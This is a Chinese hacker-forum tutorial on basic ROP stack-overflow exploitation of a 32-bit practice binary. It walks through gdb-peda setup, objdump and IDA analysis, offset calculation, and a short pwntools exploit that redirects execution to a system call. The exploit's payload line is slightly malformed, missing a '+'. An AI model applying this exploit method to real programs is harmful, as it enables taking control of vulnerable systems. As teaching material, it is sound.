联系我们联系我们
电子邮箱电子邮箱

ROP基础栈溢出

[复制链接]
  • TA的每日心情
    开心
    2019-7-31 15:50
  • 签到天数: 1 天

    [LV.1]初来乍到

    karl 发表于 2021-1-7 16:09:00
    76 0
    ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.
    ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程


    先搭建好环境
    安装gdb-peda:
    git clone https://gitee.com/takaobsid/peda.git ~/peda
    echo "source ~/peda/peda.py" >> ~/.gdbinit
    切换pwndbg和peda:vim ~/.gdbinit



    1.png

    查看汇编代码
    objdump -t 程序查看程序中使用到的函数
    objdump -d 程序查看程序中的汇编代码
    objdump -d -j .plt程序  查看plt表

    以某程序为例
    查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX
    2.PNG


    使用objdump查看程序
    3.png

    4.png

    先要找出溢出点,然后确定溢出偏移,找到system函数,最后编写exp

    5.png

    程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞。


    6.png
    7.png

    这里也可以使用IDA进行静态汇编代码分析


    8.png

    双击进去,发现是在secure函数中调用

    9.png

    10.png

    使用GDB pattern字符串溢出计算偏移量

    生成200个序列,pattern create 200


    11.png

    Invalid address0x41384141

    12.png

    编写exp
    from pwn import *
    p =process("./rop")
    offset = 112
    payload ='a'*offset p32(0x804863a)
    p.sendline(payload)
    p.interactive()

    13.png



    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    发表新帖

    小黑屋|手机版|Archiver|华盟论坛 ( 京ICP备11013304号-8 )

    Powered by 华盟网 X 8.0  © 2001-2013 Comsenz Inc.  华夏黑客同盟